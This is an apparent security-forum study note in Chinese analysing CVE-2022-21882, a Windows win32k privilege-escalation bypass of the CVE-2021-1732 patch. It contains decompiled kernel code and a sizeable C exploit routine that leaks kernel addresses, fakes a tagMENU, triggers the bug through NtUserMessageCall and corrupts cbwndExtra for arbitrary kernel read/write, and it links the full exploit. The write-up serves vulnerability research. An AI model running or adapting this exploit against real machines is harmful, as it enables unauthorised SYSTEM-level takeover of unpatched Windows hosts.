CVE-2022-21882提權漏洞學習筆記

語言: CN / TW / HK

本文為看雪論壇優秀文章

看雪論壇作者ID:1900

前言

1.漏洞描述

該漏洞的成因及利用基本上和CVE-2021-1732一樣,可以認為該漏洞是在對CVE-2021-1732漏洞進行補丁之後,繞過該補丁達成漏洞利用。在對CVE-2021-1732補丁後,在xxxCreateWindowEx函式呼叫過程中,會在呼叫xxxClientAllocWindowClassExtraBytes申請擴充套件記憶體後,會對視窗物件的偏移0x128處的pExtraBytes進行驗證,以此來驗證是否在執行使用者層函式時被修改。然而,該補丁僅針對xxxCreateWindowEx函式,在後面的Windows版本中,出現了新的函式會呼叫xxxClientAllocWindowClassExtraBytes函式,而這些函式沒有對pExtraBytes進行驗證,導致可以通過這些新函式來實現對視窗物件偏移0xE8的Flags以及0x128的pExtraBytes進行修改。

2.實驗環境

  • 作業系統:Win10 x64 21H2 專業版

  • 編譯器:Visual Studio 2017

  • 偵錯程式:IDA Pro, WinDbg

漏洞分析

1.CVE-2021-1732補丁分析

在對CVE-2021-1732進行補丁之後,xxxCreateWindowEx函式會在申請擴充套件記憶體之後,會呼叫tagWND::RedirectedFieldpExtraBytes::operator函式來對視窗物件進行驗證,如果該函式返回1,則函式接下來就會釋放視窗物件,然後直接退出函式,而不執行下面的對pExtraBytes成員的賦值:

__int64 __fastcall xxxCreateWindowEx(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, unsigned int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, unsigned int a14, int a15, int a16, __int64 a17)
{
cbwndExtra = *(unsigned int *)(*((_QWORD *)tagWND + 5) + 0xC8i64);
if ( !(_DWORD)cbwndExtra )
goto LABEL_211;
pBuffer = xxxClientAllocWindowClassExtraBytes(cbwndExtra); // 申請擴充套件記憶體
v355 = pBuffer;
if ( !pBuffer )
{
v273 = 2;
if ( *((_DWORD *)tagWND + 2) != 1 )
goto LABEL_538;
goto LABEL_197;
}


// 對視窗物件進行驗證
if ( (unsigned int)IsWindowBeingDestroyed((__int64)tagWND)
|| (*(_BYTE *)(_HMPheFromObject(v95) + 0x19) & 1) != 0
|| (zero = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=<unsigned __int64>((__int64)tagWND + 0x140, &zero)) )
{
xxxFreeWindow(tagWND); // 釋放視窗
if ( v113 )
goto LABEL_553;
goto LABEL_37; // 退出函式
}


*(_QWORD *)(tagWNDK + 0x128) = pBuffer; // 為pExtraBytes成員賦值
}

xxxCreateWindowEx呼叫tagWND::RedirectedFieldpExtraBytes::operator驗證函式的時候,傳入的是tagWND + 0x140和值為0的zero這兩個引數,而驗證函式程式碼則如下,所以該函式就是在驗證*(*(tagWND + 0x140 - 0x118) + 0x128) = *(*(tagWND + 0x28) + 0x128)是否不等於NULL,就是在驗證pExtraBytes是否已經被寫入,因為在xxxCreateWindowEx函式會在驗證通過之後才為pExtraBytes成員賦值,如果驗證時候該值已經不為NULL,就說明在使用者層函式被劫持了:

然而,該補丁是打在xxxCreateWindowEx函式中,函式xxxClientAllocWindowClassExtraBytes並沒有任何變化,該補丁可以在原來的系統中起到保護作用。可是在之後的系統中,增加了不同的函式可以呼叫xxxClientAllocWindowClassExtraBytes,其中就包括了xxxSwitchWndProc。因此可以通過該函式來實現對視窗物件的Flags和pExtraBytes成員進行修改,最終達成利用:

2.xxxSwitchWndProc函式分析

在xxxSwitchWndProc函式中,會判斷視窗物件是否存在擴充套件記憶體,如果存在擴充套件記憶體,則會呼叫xxxClientAllocWindowClassExtraBytes函式來申請記憶體。隨後,函式會重新為pExtraBytes成員進行賦值,並呼叫xxxClientFreeWindowClassExtraBytes函式將原來pExtraBytes指向的記憶體釋放掉。因此,可以通過xxxSwitchWndProc函式來實現xxxClientAllocWindowClassExtraBytes函式的呼叫,並通過劫持相應的使用者層函式,可以實現對pExtraBytes的修改:

漏洞利用

1.xxxSwitchWndProc函式的呼叫

通過交叉引用可以看到,xxxSwitchWndProc函式由xxxWrapSwitchWndProc函式呼叫的。

xxxSwitchWndProc函式則由NtUserMessageCall函式開始一步步呼叫到,該函式的定義如下:

typedef NTSTATUS (__fastcall *lpfnNtUserMessageCall)(HWND hWnd, 
UINT msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR ResultInfo,
DWORD dwType,
BOOL bAnsi);

當msg小於0x400的時候,將會根據msg,從MessageTable陣列中取出相應的下標,在使用該下標從gapfnMessageCall陣列中找到要執行的函式:

當msg為WM_CREATE(0x1)的時候,從MessageTable中取出的下標將為4:

gapfnMessageCall陣列中,下標為4對應的函式為NtUserfnOUTSTRING:

NtUserfnOUTSTRING函式會將(dwType + 6) & 0x1F得到的下標從mpFnidPfn陣列中取出要執行的函式:

mpFnidPfn陣列在InitFunctionTables函式中被初始化,其中下標為6的元素就被初始化為xxxWrapSwitchWndProc函式。因此,當引數dwType為0的時候,NtUserfnOutSTRING函式就會呼叫xxxWrapSwitchWndProc函式:

2.利用過程

此時,對tagWND->pExtraBytes以及tagWND->Flags成員的修改,是通過呼叫NtUserMessageCall,利用該函式會呼叫xxxClientAllocClassExtraBytes來實現修改的。所以,此時不需要通過申請大量視窗,並釋放掉其他部分視窗的方式來找到觸發漏洞的視窗。所以,此時只需要建立兩個用來實現任意地址讀寫以及觸發漏洞的視窗:

BOOL Init_CVE_2022_21882()
{
BOOL bRet = TRUE;
DWORD i = 0;


lHMValidateHandle HMValidateHandle = NULL;


HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}


HMODULE hNtDll = NULL, hWin32Dll = NULL;


hNtDll = LoadLibrary("ntdll.dll");
hWin32Dll = LoadLibrary("win32u.dll");


if (!hNtDll || !hWin32Dll)
{
bRet = FALSE;
ShowError("LoadLibrary", GetLastError());
goto exit;
}


fnNtCallbackReturn = (lpfnNtCallbackReturn)GetProcAddress(hNtDll, "NtCallbackReturn");
fnNtUserConsoleControl = (lpfnNtUserConsoleControl)GetProcAddress(hWin32Dll, "NtUserConsoleControl");
fnNtUserMessageCall = (lpfnNtUserMessageCall)GetProcAddress(hWin32Dll, "NtUserMessageCall");


if (!fnNtCallbackReturn || !fnNtUserConsoleControl || !fnNtUserMessageCall)
{
bRet = FALSE;
ShowError("GetProcAddress", GetLastError());
goto exit;
}


HINSTANCE handle = NULL;


handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}


WNDCLASSEX wndClass = { 0 };
PCHAR pClassName = "leak";


wndClass.cbWndExtra = 0x20;
wndClass.cbSize = sizeof(wndClass);
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.hInstance = handle;
wndClass.lpfnWndProc = DefWindowProc;
wndClass.lpszClassName = pClassName;


if (!RegisterClassEx(&wndClass))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}


HMENU hMenu = NULL, hHelpMenu = NULL;
HWND hWnd = NULL;


for (i = 0; i < 2; i++)
{
if (i == 1)
{
// 從第1個tagWND開始將帶有tagMENU物件
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
if (!hMenu || !hHelpMenu)
{
bRet = FALSE;
ShowError("CreateMenu", GetLastError());
goto exit;
}


if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&
!AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))
{
bRet = FALSE;
ShowError("AppendMenu", GetLastError());
goto exit;
}
}


hWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pClassName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
hMenu,
handle,
NULL);
if (!hWnd) continue;


g_hWnd[i] = hWnd;
g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);


if (i == 0)
{
g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);
BYTE bInfo[0x10] = { 0 };
*(HWND *)bInfo = g_hWnd[0];
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));


g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);
}
}


g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);


if (g_qwWndOffset > g_qwKernelHeapOffset1)
{
bRet = FALSE;
printf("g_pWnd[0] offset is invalid!\n");
goto exit;
}


g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;


PCHAR pTriggerName = "Trigger";
WNDCLASSEX wc = { 0 };


wc.cbSize = sizeof(wc);
wc.lpfnWndProc = DefWindowProc;
wc.style = CS_VREDRAW | CS_HREDRAW;
wc.cbWndExtra = g_dwWndExtra; // 指定特定的大小
wc.hInstance = handle;
wc.lpszClassName = pTriggerName;


if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}


g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pTriggerName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);


if (!g_hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}


// 偽造tagMENU
HANDLE hProcHeap = NULL;


hProcHeap = GetProcessHeap();
if (!hProcHeap)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}


DWORD dwHeapFlags = HEAP_ZERO_MEMORY;
g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);
if (!g_qwMenu)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}


*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;


*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;
*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);
*(PDWORD)(g_qwMenu + 0x40) = 1;
*(PDWORD)(g_qwMenu + 0x44) = 2;


exit:
return bRet;
}

接下來就可以通過NtUserMessageCall函式來呼叫xxxClientAllocWindowClassExtraBytes,在相應的使用者層函式中,將會修改tagWND的Flags和pExtraBytes成員,之後就可以通過SetWindowLongPtr將tagWND0的cbwndExtra修改為0xFFFFFFFF:

fnNtUserMessageCall(g_hTriggerWnd, WM_CREATE, 0, 0, NULL, 0, FALSE);


// 將g_hWnd[0]的cbwndExtra設為0xFFFFFFFF
if (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset + 0x10, 0xFFFFFFFF) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}

在呼叫SetWindowLongPtr函式前後下斷點,就可以看到,tagWND0的cbwndExtra被成功修改為0xFFFFFFFF,接下去的任意地址讀寫的實現就和CVE-2021-1732是一樣的:

執行結果

完整程式碼儲存在: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2022-21882.cpp 。編譯執行就可以成功提權:

參考資料

https://blog.csdn.net/qq_41252520/article/details/124506261

https://www.anquanke.com/post/id/267197

https://www.anquanke.com/post/id/272305

看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪論壇 1900 原創,轉載請註明來自看雪社群

#

往期推薦

1. 因優化而導致的溢位與CVE-2020-16040

2. LLVM PASS PWN 總結

3. win10 1909逆向之APIC中斷和實驗

4. EMET下EAF機制分析以及模擬實現

5. sql注入學習分享

球分享

球點贊

球在看

點選“閱讀原文”,瞭解更多!